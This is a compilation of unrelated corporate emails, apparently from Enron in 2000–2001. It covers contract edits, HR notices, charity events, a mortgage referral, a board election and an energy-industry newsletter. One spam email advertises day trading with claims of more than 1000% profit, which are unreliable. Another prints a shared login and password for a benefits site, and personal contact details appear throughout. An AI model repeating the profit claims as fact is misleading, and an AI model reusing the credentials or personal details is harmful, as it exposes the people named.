>> > > seasoned in a white wine and onion cream sauce,
>> > > she chuckled to herself and thought:
>> > >
>> > > I don't fucking think so.
>
>
>
>

Barry,
 Can you elaborate on what you are referring to about AOS daily balancing 
agreement?  Is this something that Stacy Dickson prepared for you?  If so, 
please attach a copy for my review.

	Barry Tycholiz
	11/06/2000 05:01 PM
		
		 cc: 
		 Subject: Re: Crestar Document

Dan, I will not be sending this document to Crestar.  Raise this confirm 
directly with Crestar in the final state and send  to them.  Assuming they 
have no problem with the paper.... we should be done on the monthly firm deal.

Can you send down the paper on the AOS daily balancing agreement. This is a 
seperate agreement that is secondary to the firm deal.

Thanks.

Kaye:  I'm having trouble printing the attached.  Thanks.

----- Forwarded by Sara Shackleton/HOU/ECT on 01/08/2001 11:15 AM -----

	01/03/2001 06:32 PM
		 
		 To: Susan Bailey/HOU/ECT@ECT, Samantha Boyd/NA/Enron@Enron, Robert 
Bruce/NA/Enron@Enron, Mary Cook/HOU/ECT@ECT, Brent Hendry/NA/Enron@Enron, 
Tana Jones/HOU/ECT@ECT, Anne C Koehler/HOU/ECT@ECT, Stephanie 
Panus/NA/Enron@Enron, Francisco Pinto 
Leite/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sara Shackleton/HOU/ECT@ECT, Carol 
St Clair/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Frank 
Sayre/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Angela Davis/NA/Enron@Enron
		 cc: Suzanne Adams/HOU/ECT@ECT, Kaye Ellis/HOU/ECT@ECT, Taffy 
Milligan/HOU/ECT@ECT, Becky Spencer/HOU/ECT@ECT, Holly 
Keiser/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Chaundra Woods/HOU/ECT@ECT, 
Carolyn George/Corp/Enron@ENRON
		 Subject: SWAP Group - January 2001

Happy New Year!

Please advise of any revisions and any forthcoming (Jan-Mar) "out-of-office" 
days.  

Taffy

Hi - 
     we have now reserved 37c1 for our covered dish on Wednesday.
However, it was not open at 11:30 - so please plan to begin taking our food 
into the conference room at Noon.    We have 37c1 from Noon until 2:00.

thanks everyone,
Sandy

fyi
----- Forwarded by Steven J Kean/NA/Enron on 02/20/2001 08:35 AM -----

	Dan Leff@EES
	02/16/2001 11:53 AM
		
		 cc: 
		 Subject: Re: Mike Dahlke

I am meeting with Mike on 2/27.

I will feedback after that.

Regards - Dan

From: Steven J Kean@ENRON on 02/02/2001 06:09 PM
To: Dan Leff/HOU/EES@EES, Elizabeth Tilney/HOU/EES@EES
cc:  
Subject: Mike Dahlke

I know you guys have been working around the clock.  I just wanted to make 
sure you hadn't forgotten about Mike Dahlke (whose resume I sent on to you 
Dan).  When you catch a breath please take some time to consider Mike for EES.

Some of you may have entered updates to your personal information in eHRonline from Friday, March 1 through Monday, March 4.  However, we experienced some problems with the HR system during this time, and it is likely that certain updates were lost.  If you made an update during this period, please return to eHRonline and review your information particularly for the following four categories:
Banking information for direct deposit
Tax W-4 information
Home address
Emergency contact

Note that the first three categories above are related to payroll.  We are processing payroll for March 15.  If updates are needed for your March 15 paycheck, please eMail your update and P # to "HR Service Connection" before 11 a.m. on Thursday, March 7 for immediate processing.  Put "eHRonline Update" in the subject line and send as urgent so we can expedite processing.

For any updates applicable for future paychecks or non-payroll related, please re-enter your information directly in eHRonline.

Thanks and we apologize for the inconvenience.

Excellent.  Kai will work hard to get you the right deal.  That is the advantage of using him instead of a bank.  He has multiple lenders available to chose from.

Have a good day.

Anne

From: 	Giron, Darron C.  
Sent:	Wednesday, November 14, 2001 8:17 AM
Subject:	RE: I have moved, but my Phone has not .....

Thanks.  I wanted to see what refinancing to a 15 year would look like.  I just talked to him.  Things are wierd and I know it must be even worse moving to a new group.  I'm glad you like it over there.  I guess it's just wait and see.

DG

Sent:	Monday, November 12, 2001 6:01 PM
Subject:	I have moved, but my Phone has not .....

Darron: 

I got your message, but I must have missed you.  Try calling Debbie Delgado @ x39183.  She is the ADMIN who sits next to me.

If you want to just call Kai directly about mortgages, his vital signs are below (just kidding).  The best place to reach him is at 713-816-1300.

Kai Bike
Executive Mortgage & Insurance
6009 Richmond, Suite 125
Houston, Texas  77057

713-783-3400
fax 713-783-9314
Cellphone 713-816-1300
www.execumortgage.com
kaibike@flash.net

See you soon.

How are things in your world ?

Pretty strange to be starting in a new group at such an uncertain time.

I like my group.

Thanks

Anne

Nutcracker Tickets Fabulous seats for the final Nutcracker full dress 
rehearsal - including Founders' Box seats - are available for 
 Wednesday, November 22, 7:30 p.m. at the Wortham Theater.  Supply is 
limited, so buy your ticket soon
 for a first peak at the highlight of the holiday performance season. Tickets 
are only $10!  They're first come first serve
 and are available in EB 407.

Free Popcorn at Bring a book to the movies and get free popcorn!  Enron's 
Prescription for Reading Book Drive is on Saturday, 
the Movies! November 25, noon to 4:00 p.m.  Bring a new or gently used 
children's book to one of the following Cinemark 
 Theaters on November 25. With your gift, you will receive a small popcorn to 
enjoy during the release of Disney's 
 102 Dalmatians, or any other great movie!

 Cinemark 24 Westchase - 3600 Sam Houston Parkway
 Cinemark 16 - 12920 Northwest Freeway
 Cinemark 16 - Pasadena
 Cinemark 18 - 20915 Gulf Freeway

 Enron's Prescription for Reading program, a Reach Out & Read program, is an 
early literacy intervention program
 that is implemented in pediatric healthcare clinics and targets children 
between the ages of 6 months and 5 years
 during their well-baby check-ups at UT-Houston facilities.

Big E Cafe - Don't be a Grinch this Holiday Season!  Help spread the Holiday 
Cheer and give your time and effort back to
December 1 the community.  Come out to the Big E Cafe on Friday, December 1 
from 11:30 a.m to 1:00 p.m. and check out the 
 opportunities to sign up for community volunteer projects. Lunch is only $5. 
Bring a toy, clothing item, or 
 canned good and receive $1 off lunch!  Be sure to also check out information 
on the galleryfurniture.com bowl; you 
 will receive a coupon for a free Chic-Fil-A sandwich with the purchase of a 
bowl game ticket at Big E!  Entertainment 
 will be provided by the Gary-Dahl Band, with special appearances by The 
Grinch!

Foley's Friday CHANGE HOUSTON 2000, a city-wide campaign benefiting SEARCH, 
will be at 14 Foley's locations around Houston
Volunteers! on November 24 - the day after Thanksgiving.  Volunteers are 
needed to help collect money, "cheerlead" shoppers to
 donate, and hand out information about SEARCH.  This is an excellent 
opportunity for friends and family to get 
 together during the biggest shopping day of the year and give back to the 
community.  Please contact Stephanie 
 Harris at 713-739-7752 ext.142 for more information. Come out and have a 
wonderful time!

MFA Volunteers for You are invited to the Museum of Fine Arts Corporate 
Partner Holiday Party on December 12 from 7:00 p.m.
Holiday Party to 9:00 p.m, but volunteers are needed to help with fun and 
exciting preparations! The party is free for all corporate 
 partner company employees and their families.  In addition to helping out 
with face-painting, escorting guests, and 
 assisting with photographers and Santa Claus throughout the night, the party 
features seasonal decor, 
 holiday craft projects, and delicious desserts!  Contact India 
Kerr-Perkinson at 713-639-7570 for more information
 and or click here to print out the volunteer form.

Enron Kids Holiday We still have a few students that need caring Enron 
sponsors!  Come participate with Enron Kids, a program 
Fun! that helps provide books and equipment for schools in need.  Sponsor a 
student or team up with co-workers or your
 department to provide a bag full of holiday cheer to an HISD Burrus 
Elementary student!  A shopping committee 
 can shop for you if your schedule does not give you the time.  Sign-ups are:

 November 14, 16, 17:  11:00 a.m. - 1:00 p.m. Sponsor Sign-Up in the Enron 
Building lobby
 November 15:           11:00 a.m. - 1:00 p.m. Sponsor Sign-Up in 3AC 601
 November 15:             11:00 a.m. - 1:00 p.m. Sponsor Sign-Up in Jefferson 
Bldg. Ground Floor Conference Room

 or Leslie Campbell at ext. 35983. 
 
Ceridian LifeWorks Celebrations.  Travel.  Traditions.  Shopping.  
Expectations.  Memories.  With all the anticipation, and all your 
Helps Your Holidays! obligations at work and home, sometimes it can be hard 
to stop and really enjoy the holidays.  That's why LifeWorks 
 is here to help you.  For some great tips, access LifeWorks by calling 
800-635-0606 or visit LifeWorks Online at
 www.lifeworks.com (company id: enron, password: 2000).

Flu Vaccine The flu vaccine is scheduled to arrive before December 1. Due to 
its limited supply, you are encouraged to 
Update email your vaccine request as soon as possible to 
Health_Center@enron.com.  You will be notified by
 email when the vaccine is available.

May be of interest to your biz dev efforts.

Best,
Jeff
----- Forwarded by Jeff Dasovich/NA/Enron on 04/04/2001 12:10 PM -----

=09"Laura Goldseth" <lgoldseth@svmg.org>
=0904/04/2001 12:00 PM
=09=09=20
=09=09 To: <lgoldseth@svmg.org>
=09=09 Subject: FW: first message not quite complete

SVMG MEMBERS...please find below information pertaining to a PIBA Product
Strategies Meeting.  Kathleen at PIBA can offer SVMG members a 50% discount
if they aren't PIBA members already.  Her contact information is at the ver=
y
end of the text.  This may be something of interest.  Check it out.  Laura

***************************************************************************=
*

Join PIBA's EHS Product Strategies Committee meeting, 8:30am-10:30am
Thursday morning, April 5, 2001, at Agilent Technologies, 395 Page Mill
Road, Palo Alto - directions at <http://www.piba.org>  Registration
7:50am-8:25am.

Speakers:  Michael Cox, Agilent Technologies; Elizabeth Zimmermann, IBM;
Chris Hazen, ERM; and David Monzma of BSR

Since Agenda 21 pronounced the need for supply chain management in
Chapter 4, organizations have labored to bring their suppliers to heel
in terms of environmental risk and management.  Now, we are turning the
corner to second-generation SM tools.  Agilent=01,s best-in-class program
is a good example of these tools, leveraging other supplier
qualification considerations and ease of management for the customer.

 Join PIBA for an exciting discussion concerning managing EHS in the
supply chain.  This is an area of interest to any company that depends
primarily on suppliers for products and operations.  Michael Cox, who
manages the supply-chain EHS management program for Agilent
Technologies, will lead a participatory discussion concerning
supply-chain EHS practices and benefits.  Michael believes that this is
an area of growth opportunity for EHS professionals.  =01&The supply chain
brings together a huge number of EHS issues and opportunities under one
roof.  Integrating EHS into the chain should be a top priority for any
Fortune 500 company.=018  Michael will discuss what Agilent is doing to
take an integrated approach to this issue and to find hidden value and
opportunity.  Although the perspective will be electronics
manufacturing, any company that uses suppliers will benefit from the
discussion.

 This will be a fast paced and exciting morning.  A 30-minute discussion

will follow the presentations.  So that each speaker has use of allotted

presentation time this meeting will start on time.

PIBA Members free
Non members 95.00

RSVP to Kathleen at PIBA at 650/965-2436 or kathleen@piba.org

Lazy Traders,

In the last 5 trading days the Nasdaq has been up 4 out of 5 days, so
trading is great, even if you just go with the flow.

Today as I am looking at the market, 4 stocks are up between 28% and 300%.

The stocks are:

WEFNW  up 300%
TDDD   up  79%
MAGZ   up  50%
INAP   up  28%

Would you have been able to capture any of these increases if you had:

1. Fast execution speed, get in in less than one second.
2. Could see in real-time how many buyers and sellers there were.
3. Were alerted in real-time the exact second WHEN the stock was buyable.
4. Would only have to pay $1 to trade 100 shares. How much are you paying
now?

Well, if you become a Lazy DayTrader at:
http://www.lazytrader.com

you can learn how and when to capture part of these increases as they
happen.

After you become a Lazy DayTrader you can join Michael's Chatroom for a
small monthly fee; Michael's Room has produced more than 1000% profit for
its members in the last 6 months and 40 to 70% profit weeks are not
unusual.

So if you have an hour or more to spare per day between 7.45 AM and 8 PM
EST and are careful to trade only when the opportunity is perfect become a
Lazy DayTrader at:

and join Michael's Chatroom as well.

Michael's Room buzzes your computer when there is a buy and an Icon
appears on your screen with the Stock Symbol.

You can start with as low as $500.-

Have a nice day.

Frank vanderlugt

TO BE REMOVED CLICK ON:

leave-lazytrader4-367721N@lyris1.listenvoy.com

*1130% profit is the maximum you could have made in the last 12 weeks if
you
would have bought Michael's Stockpicks when he called them and you would
have
sold at the high for the day. To be able to sell at the high for the day
consistently is not realistic.
The risk factor is high in stock trading and  only "Risk Capital" or
"Risk
Funds" should be used in such trading. A person who does not have extra
Risk
Capital, or Risk Funds, that they can afford to lose, should not trade in
the
market. No "SAFE" trading system has ever been devised, and no one
including us
can guarantee profits or freedom from loss. We are not brokers or stock
advisors.

---
You are currently subscribed to lazytrader4 as: mailto:alewis@ect.enron.com
To unsubscribe send a blank email to mailto:leave-lazytrader4-367721N@lyris1.listenvoy.com
Please make sure that the FROM field of your email matches mailto:alewis@ect.enron.com

MESSAGE FROM THE PRESIDENT:

ANNUAL MEETING AND ELECTION OF 2002 WENH BOARD

Dear Members:

The  annual meeting of the Women's Energy Network of Houston is normally
held at the November or December luncheon meeting.  This year, however, WENH 
held two out-of-the-ordinary events in November and December that precluded
the annual meeting from being held in those months.  WENH's bylaws provide
that "if the December meeting is not held, the annual meeting shall be held
at the next WENH meeting."  Accordingly, the WENH Board of Directors has
scheduled the annual meeting to be held at our January luncheon meeting at
Brennan's Restaurant, 3300 Smith St., on January 9, 2002, at 12:00 p.m.

At the annual meeting, the WENH membership in attendance will elect the
Officers and Directors of the WENH Board of Directors for 2002.  No WENH
member may vote by proxy.  Following careful deliberation of all nominated
candidates, the Nominating Committee, composed of Leesa Foster, President;
Robin Dyer, Immediate Past President; Lisa Craig, Vice President and
retiring Board member; Meg Healy, WENH member; and Karyl Lawson, WEHN member
(with Denise Cassata, WENH member, as a substitute at the Nominating
Committee's final meeting) hereby announces its recommended slate for the
upcoming elections at the annual meeting, as follows:

2002 WENH Board Nominations

POSITION			NOMINATION

President 			Tammy Naron				

Vice President			Tammy Dowe

Secretary	  		Mary Wilson

Treasurer			Tammy Norman  

Assistant Treasurer		Suzy Romoser

Program Director		Mary Ann Reynolds

Career Director			Cynthia Thomson 		

Public Relations Director	Robin Dyer			

Communications Director	Nancy Fitzgerald

Industry Relations Director	Nancy Sauer 	

Special Events Director	               Carol McCutcheon 

Directors-at-Large	               Melinda Pharms
	                                               Kay Henry

We look forward to seeing you at the annual meeting at our January luncheon.

Leesa Foster
President - 2001
Women's Energy Network of Houston

I've checked the payment schedule and seems fine.

Sent: Tuesday, April 17, 2001 6:43 PM
To: Johnson, Lee L (PS, GE AEP); Shoemaker, Kent (GEAE)
Subject: revised payment language for Salmon

Payment Schedule.
|-----------------+-----------------|
|   Payment Date  |  Payment Amount |
| April 30, 2001  |$50,234,000      |
|                 |                 |
|                 |                 |
|            TOTAL| $50,234,000     |

Such April 30th payment shall constitute full and final payment for the
Units, except that Purchaser shall be responsible for the payment of any
and all amounts associated with any Change Order after the Effective Date.
The final payment is also subject to Section 6.1.3.

Also, Delta has suggested that we add in language for the adjustment due to
site conditions.  I added language to Exhibit A-1.

Both of these edits are from the CA form.

Kay

Please print on letterhead and fax to Treemont house to Eugene Vaughan.  Thanks. 

Mark, 

To reiterate our phone conversation from this past Friday (7/14), we need to 
send out a partially executed Confidentiality Agreement which includes the 
changes that you discussed with El Paso Production's Chief Council.

Please let me know if I need to do anything and if/not, please send me a copy 
of what you send out.

Thank You,

John 

Jeff:
Man is looking for money again to hold them over for yearend.  Who do I need 
to talk to?
john

Gregg,

The changes look fine.  I thought I had already made them in the draft I sent 
to Coral the other day.  I guess I am losing my mind!

Stacy

	Gregg Penman@ENRON
	05/03/2001 01:06 PM
		
		 cc: Steve Richman/Corp/Enron@ENRON
		 Subject: Re: Transaction Agreements

Stacy - 
Steve spoke with Coral about the Transaction Agreements today.  They had the 
following comments:
Transaction Agreement #1
1 - MaxDQ should be 20,346
2 - 3.2 and 3.4 - LD payment equal to $0.15 plus 1.7% x Spot Price rather 
than $0.017 x Spot Price

Transaction Agreement #2
1 - 3.2 and 3.4 - LD payments consistent with Transaction Agreement #1 rather 
than $0.20 and $0.25

I think these are all fine, but I wanted to run them by you.  I have made the 
requested revisions to the attached Agreements for your review.  Let me know 
what you think.

Thanks - Gregg

	Stacy E Dickson@ECT
	04/30/2001 10:36 AM
		 
		 To: mdpalmer@coral-energy.com
		 cc: Gregg Penman/Corp/Enron@Enron@ECT, Steve Richman/Corp/Enron@ENRON
		 Subject: Transaction Agreements

Mike, 

Attached are red-lined versions of the two Transaction Agreements for the 
transaction between Coral Energy Resources and enovate which includes the 
changes that we discussed.  Please call me at (713) 853-5705 with your 
comments.

Stacy

For your viewing pleasure, the 2001 Customer Event photos can be found in the 
following location:

P:\Photos\2001 Customer Event

Enjoy!

Attention POWER REPORT Readers: Go to=20
http://www.powermarketers.com/prdaily.htm to view today's edition with dire=
ct=20

Subscriptions to The PowerMarketers.com Power Report are free - you will=20

You may redistribute this e-mail without change. You may not redistribute=
=20
stories.

To register for a free subscription, point your browser to:=20

CRISIS AND OPPORTUNITY:  POWER MARKETS 2001

Every day the headlines bring us more information:

-- Western governors are petitioning for streamlining of permitting for new=
=20
powerplants.
-- The availability of sufficient natural gas to serve Northeastern plants =
is=20
being questioned
-- The law which requires sales to bankrupt California utilities is slated=
=20
for revokation.
--  Hydroelectric plants which were considered candidates for decommissioni=
ng=20
are now likely to continue operating.
--  Microturbines, originally thought to be a niche market, seem set to mak=
e=20
dramatic market inroads.

You can find the individual stories at  http://www.powermarketers.com.   To=
=20
put it all in context, join some of the tens of thousands of your fellow=20
readers at the Power Marketing Association?s annual spring meeting:

CRISIS AND OPPORTUNITY:  POWER MARKETS 2001:
March 15-16, 2001 Aladdin Hotel Las Vegas
and
Fundamentals of Power Marketing Seminar
Preconference Seminar March 14, 2001

DISTRIBUTED GENERATION

an Energy Info Source Report

* The Key Technologies being used or planned for DG
* The Uses  of DG from utility, energy service provider, and customer=20
viewpoints
* The Economics  of DG and its Market Potential
* The Benefits of DG
* The Barriers  that exist to implementing DG
* The Participants  involved in the DG industry
* The state of Current Regulatory Activities and Rulings affecting the=20
implementation of DG

Only $999.   For additional information, download:
http://www.pmaconference.com/distgen.pdf

Top Stories (February 16)

CALIFORNIA GOVERNOR PROPOSES POWER PURCHASE
Plunging California deeper into the energy business, Gov. Gray Davis propos=
ed=20
a multibillion-dollar plan Friday to rescue two utilities from the brink of=
=20
bankruptcy in part by buying miles of electric transmission lines.
http://199.97.97.163/IMDS%PMANAT0%read%/home/content/users/imds/feeds/comte=
x/2
001/02/16/ao/0000-4627-power-woes

-WHOLESALE GENERATORS FACING WINDFALL PROFITS TAX IN CALIFORNIA? - ISSUEALE=
RT=20
FOR FEBRUARY 16, 2001
Recently, Representative Bob Filner (D =01) CA) introduced a bill (H.R. 443=
) to=20
amend the Internal Revenue Code of 1986 to impose a windfall profit tax on=
=20
wholesale electric energy sold in the Western System Coordinating Council=
=20
(WSCC). The bill was referred to the Committee on Ways and Means.
http://199.97.97.163/IMDS%PMANAT0%read%/home/content/users/imds/feeds/write=
rsd
esk/2001/02/16/eng-powerm-000001/eng-powerm-000001_132144_199_09736242611

GE POWER SYSTEMS, PG&E NATIONAL ENERGY IN $1B SERVICE PACT
GE Power Systems' Energy Services unit and PG&E National Energy Group signe=
d=20
a long-term service agreement worth more than $1 billion.
http://199.97.97.79/IMDS%PMADJN0%read%/home/content/users/imds/feeds/djn/20=
01/
02/16/eng-djn/eng-djn_104050_195_895255249925

BUSH, FOX DISCUSS CONTINENT-WIDE ENERGY POLICY
U.S. President George W. Bush said Friday that he discussed with Mexican=20
President Vicente Fox the possibility of creating a continental energy poli=
cy=20
that would incorporate the resources and needs of Mexico, the U.S. and Cana=
da=20
but acknowledged much work remains to be done to implement such a policy.
01/
02/16/eng-djn/eng-djn_200047_246_816723248921

TEXAS ELECTRIC DEREGULATION COULD SET PATTERN FOR STALLED STATES
How electric retail competition plays out in Texas next year could affect=
=20
whether other states move forward to deregulate their markets or remain=20
paralyzed in fear of repeating California's disastrous experience.
01/
02/16/eng-djn/eng-djn_224024_26_7442206968553

-NEW YORK ENERGY BUYERS FORUM SUPPORTS POWER AUTHORITY PLANTS
The (NYEBF), a coalition of commercial energy customers and suppliers in th=
e=20
New York City area, has announced its support for the ten small power plant=
s=20
planned by the New York Power Authority (NYPA) to ensure electric reliabili=
ty=20
and price stability in the New York City area this summer.
rsd
esk/2001/02/16/eng-powerm-000001/eng-powerm-000001_085405_82_0912937633693

Access stories online at:=20

No New Details As Calif Gov Unveils Plan For Utils Buyout

Texas Elec Dereg Could Set Pattern For Stalled States

Empire District Elec Interim Rates -2:Begins March 1

Empire District Electric Seeks 8.18% Rate Increase >EDE

Indiana Gas Appeals Regulator Ruling On Natural Gas Rate

Empire District Electric Files For Interim Mo. Rates>EDE

REPEAT&CORRECT: DTE/Documentation -2: Seeks Fast Review

Bush, Fox Discuss Continent-Wide Energy Policy

NJ Acting Gov Moves To Expand Utility Bd To 5 Members

TI's Venezuela Unit Leads Phone License Bid With $1.15M

PRESS RELEASE: DPL Sr Unsec Still On Moody's Review >DPL

DPL Inc Baa1 Sr Unsec Still On Moody's Review >DPL

Bad News Prompts Skittish Investors Take A Long Weekend

US West Pwr Forwards Dn On Lower Dailies,Moderate Weather

DTE/Revised Documentation -2: Co Seeks Expedited Review

DTE Energy Files Revised Documentation For MCN Energy Deal

Spain's Cantabrico Supports Bid But Keeps Options Open

REPEAT&CORRECT: Electrabel Pact For Cantabrico Is On -TXU

US House Panel Sets Mar 5 Energy Tax Incentives Hearing

Brazil/Light Invest -2: Seeks Capacity Boost To 2,000 MW

Cantabrico/EDP/Cajastur -3: Ferroatlantica Has Option

Cantabrico/EDP/Cajastur -2: RWE Bid Still Pending >EDP

Cantabrico Decision Non-Binding, Open To Better Offers

Cantabrico Bd Approves EDP-Cajastur Takeover Offer >E.HIC

GE Power/PG&E Natl -2: For Gas Turbines At Power Plants

TXU Europe Confirms Electrabel Pact For Cantabrico Broken

GE Power Sys, PG&E Natl Energy In $1B Service Pact >GE

Metka, GE Consortium Win 44-47 MW Greek Wind Pwr Contract

ASIAN POWER:Philippine Debts Leave Sale As Only Option

US West Power Forwards Mixed: Palo Up, Mid-C Slightly Dn

N A T I O N A L

Calif. Gov. Proposes Power Purchase

Coal Expected to Fare Well on Bush's Shift

Qualified Facility Power Generators Form Creditors Committee to Evaluate=20
Options with Respect to Southern California Edison

Davis Seeks Payments to Energy Firms

Energy Cooperative Eyeing Elgin to Reduce Electrical Costs, Usage

Wind, Sun Seen As Energy Solutions Group Says Efforts Needed Now to Prevent=
=20
Crisis Like California's

Department of Energy Office of Fossil Energy Transco Energy Marketing CO.;=
=20
Selkirk Cogen Partnership, L.P.; Orders Granting Authority to Import And=20
Export Natural Gas

Business Briefly: Nuclear Plant's Power Worth $1 Billion Since July

Bush Expedites California Power Plants

Empire District Electric Files Interim Missouri Electric Rates

California to Float Power Grid Purchase

Bush, Mexico's Fox explore possible Mexican power exports to western U.S.

Top Energy Summaries - Friday, February 16, 2001 - 5:06 PM

GE Power Systems, PG&E National Energy Group Sign $1 Billion Service=20
AgreementPact to Cover More Than 20 GE Gas Turbines at New Power Plants

Maxim Power Corp.: [Formerly Jupiter Power International Inc. - Reverse=20
Takeover, Name Change

Green Mountain Energy Pulls Up Stakes in California

Penreco Ownership Changes - Zukerman Energy Buys 50 Percent Interest, Share=
s=20
Joint Venture with Conoco

Constellation Energy Group Declares Dividend

E Source Study Finds Voluntary Load Curtailment Solutions Are a Win-Win for=
=20
Electric Utilities And Customers Alike

Arc Energy Trust Announces 2000 Financial Results And Year-End 2000=20
ReservesNot for Distribution to U.S. Newswire Services Or for Dissemination=
=20
in The United States.

North Carolina Community Development Initiative to Make Grants for New,=20
Energy-Efficient Homes

Energy Update/Los Angeles Department of Water And Power Daily Energy Update=
,=20
Friday, Feb. 16, 2001

Energy Update

Advisory/Energy Producers Weekly Power Update Rescheduled

Fitch Rts Reliant Energy Resources' Notes 'Bbb+'; on Watch Neg

Repeats: Energy Volume And Open Interest Totals-Feb 16

Storms Help Water Down Energy Worries

Top Energy Summaries - Friday, February 16, 2001 - 2:03 PM

Manteca Eyed for Power Plant

DTE Energy Files Revised Documentation Seeking SEC Approval of Merger with =
Mcn

Power Company Selects Siemens Wireless Meter-Reading Technology

-Delaware Municipal Electric Corp. Retains ETC As Generating Plant Project=
=20
Manager

Bush issues memo requesting cabinet expedite California power plant review

-Wholesale Generators Facing Windfall Profits Tax in California? - IssueAle=
rt=20
for February 16, 2001

Help Is on the Way for Power-Tight West

Energy Conservation Is the First Step

California Power Alert Still in Effect

Top Energy Summaries - Friday, February 16, 2001 - 11:55 Am

-New England Non-Profit Utilities Say Power Market Proposals Harm Consumer=
=20
Interests

Crowds Protest Power Plants Concerns Over Bergen's Water

Memorandum Expediting Federal Decisions Relating to the Siting And Operatio=
n=20
of Power Plants in California

-CMS Viron President Receives AEE Energy Executive Of The Year Award

Idaho Power Given Nod to Solicit Bids State Regulators Say Utility Can Take=
=20
Farmers' Offers to Sell Back Electricity
Budget Writers Warned About Response to Energy Shortage Plan to Buy Back=20
Irrigators' Power May Affect Economy

Top Energy Summaries - Friday, February 16, 2001 - 9:29 Am

-Managing Power Plant Mercury Emissions To Minimize The Risks

Bush:Expedite Review of CA. Power

A Fuel Cell Future - the Interview with Alan Niedzwiecki, Director of=20
Business at ImpcoThe Need for Cleaner, More Economical And Environmentally=
=20
Friendly Sources of Power Are Spotlighted

-New York Energy Buyers Forum Supports Power Authority Plants

-Consumer Groups Offer Litmus Test For Judging California Governor's Energy=
=20
Plan

Forbes Winding Down Operations at Its Amqui Plant

Peco Energy Transition Trust Completes Refinancing with Pricing of $805=20
Million Asset-Backed Bond Sale

Governor Readies Utility Blueprint / Parent Firms Would Help Defray Price=
=20
Increases

Matier & Ross ; Davis Able to Glide Through Power Crisis Morass

GE Power Systems, PG&E National Energy Group Sign $1 Billion Service Agreem=
ent

Top Energy Summaries - Friday, February 16, 2001 - 7:16 Am

States Shun Comparisons to California in Light of Energy Crisis

Is Detroit Abusing Its Power in Graimark Project?

The Power Crunch

Natural Gas Pinch Makes Farmers Fret the Now-Pricey Fuel Is Used to Make Th=
e=20
Nitrogen They Need for Corn Crops.

Wind Power Viewed As a Boost for Iowa

Puc Reviewing Utility Cutoff Rules

Near-Term Fixes to California Power Crisis Elusive, Analysts Say

Energy Northwest May Refund Up to $500 Million of Debt

U. Houston Expert Says Texas Prepared for Energy Deregulation-(U. Houston)

Texas A&M U. to Generate More Energy-(Texas A&M U.)

Nippon Electric Glass Builds Mexico Factory

Tanesco Announces Favorable Decision from Tribunal in Its Long-Standing=20
Dispute with Power Developer

BMW & Delphi Present the First Development Vehicle Equipped with A Solid=20
Oxide Fuel Cell

Nippon Steel to Abandon Wind Power Plan in N. Japan

Energy-Asia: Power Needs May Significantly Shape Foreign Policy

Peruvian Government to Auction for Power Transmission Lines in The Northern=
=20
Region

Paraguay: Parana River Mill Asks for Subsidized Energy

Westport Innovations Inc - Installs Power Generating Station

Wind Farm Firms to Test Lie of the Land

First Wholly Foreign-Owned Power Project Starts Operation (2)

GE Power Systems wins 1 bln usd service contract from PG&E National Energy

Power Industry Leader Supports Tepco's 'Pluthermal' Plan

Huaneng Power Announces Share Issuance Approval

British Energy Diversifies Into Wind Farms

Philippine leader assures IMF on passage of stalled power reform bill

Philippines Power Corporation Holds Dialogue on Rate Increase

Friends of the Earth: Nuclear Industry Turns to Renewable Energy

Power Play

Maligned Nuclear Power Born Again

Energy: Asian Needs Likely to Have Major Geopolitical Consequences

China Has Vast Energy Resources

Foreign Investors Want to Build Power Plant in Indonesia

Malaysian-owned power plant in Tanzania to start operating in June

Us, Mexico Eye Energy Alliance

China Environment Board Tightens Screws on Power Plants, Steel Mills and=20
Others

Armenia Not Final Destination of Iran's Natural Gas

Experts Say California Is Moving Toward Reregulation of Power Industry

Wisconsin Increases Aid for Heating Bills to Needy Families

Tulsa, Okla.-Based Energy Trader Pledges Power for California

Utah Chemical Plant Says Pacificorp Overcharges for Electricity

California Utilities Discontinue Underground Wires Program to Conserve Cash

California's Pacific Gas & Electric Cuts Back on Overtime, Plans Layoffs

Santa Clara County, Calif., Supports Calpine Corp.'S Proposed Power Plant

Hydropower Dams in Northwest Must Choose between Salmon Or Power

Environmentalists Favor Debt-for-Nature Swap in California Power Crisis

Lawsuit, Supply Shortage Deepen California Power Crisis

California Power Crisis Boils Down to Chilly People

Inland California Water Official Challenges Enron on Power-Plant Plan

Idled California Power Plants Imperil Peach Crop

Struggling California Utilities Shake Up Investors

Portland, Ore.-Based Power Agency Seeks Deal with Longview, Wash., Paper Mi=
ll

Charlotte County, Fla., Commissioners Set Water Conservation Rates

Colorado House Bill Resurrects Water Bank

Job Applications Are Not Yet Available for Greenville, KY., Power Plant

California Utilities Officials Travel Courtesy of Energy Companies

Connecticut Attorney General Hopes to Prevent Merger of Two Utilities

Panel Asked to Explore Possibility of Waterford, Conn., Electric Utility

Contractor with Florida Electric Utility Faces Safety Controversy

Experts Warn Florida Could Repeat California's Power Deregulation Experienc=
e

Massachusetts Governor Considers Halting Pollution Limits on Power Plants

Electric Deregulation Process Begins in Texas

Energy Prices Likely to Fall Due to Economic Conditions, Analysts Predict

Natural Gas Prices Could Rise in Summer, Energy Experts Say

Texas Pilot Project for Electricity Competition Begins Today

Houston Hosts Conference on Energy Deregulation

California Wants to Buy Power Lines

Shareholders in California Utilities Face Unusual Risks

Texas Will Offer Electricity Deregulation Pilot Program

`Green' Electricity Supplier to Sell Power in Ohio

REUTERS

2/18/01 FEATURE-Copper holds the key to electrical energy efficiency

2/17/01 Putin talks about energy, rates in Tomsk-Omsk trip

2/17/01 Mexico-U.S. energy aides to meet on power exchange

2/17/01 Innogymay bid 1.9 bln stg for Yorks Elec-FT

New! Now you can choose to stream the presentation immediately over the web=
,=20

New! Five additional RealVideo-based powerpoint-based presentations, with t=
he=20
accompanying audio. Running about 30 minutes each, the new selections inclu=
de:

ELECTRONIC TRADING. Power is following natural gas to become an=20
electronically-traded commodity. The products, the technology and the futur=
e=20
of electricity transactions. Kevin Sluder, Vice President, HoustonStreet=20
Exchange.

NUTS AND BOLTS OF RETAILING. What it takes to put an energy retailing=20
operation together-- the cash and credit requirements, back office,=20
information technology, staffing, marketing, sales and organizational=20

RETAIL: WHAT WENT WRONG, HOW TO FIX IT. Retail electric deregulation has th=
us=20
far been an underwhelming success, but a great deal has been learned, and i=
t=20

MANAGING BILLING. The complex requirements for managing billing and=20
commodities in the deregulating energy industry cannot be met with current=
=20
CIS and CRM technology. Energy Retailers must embrace the next evolution of=
=20
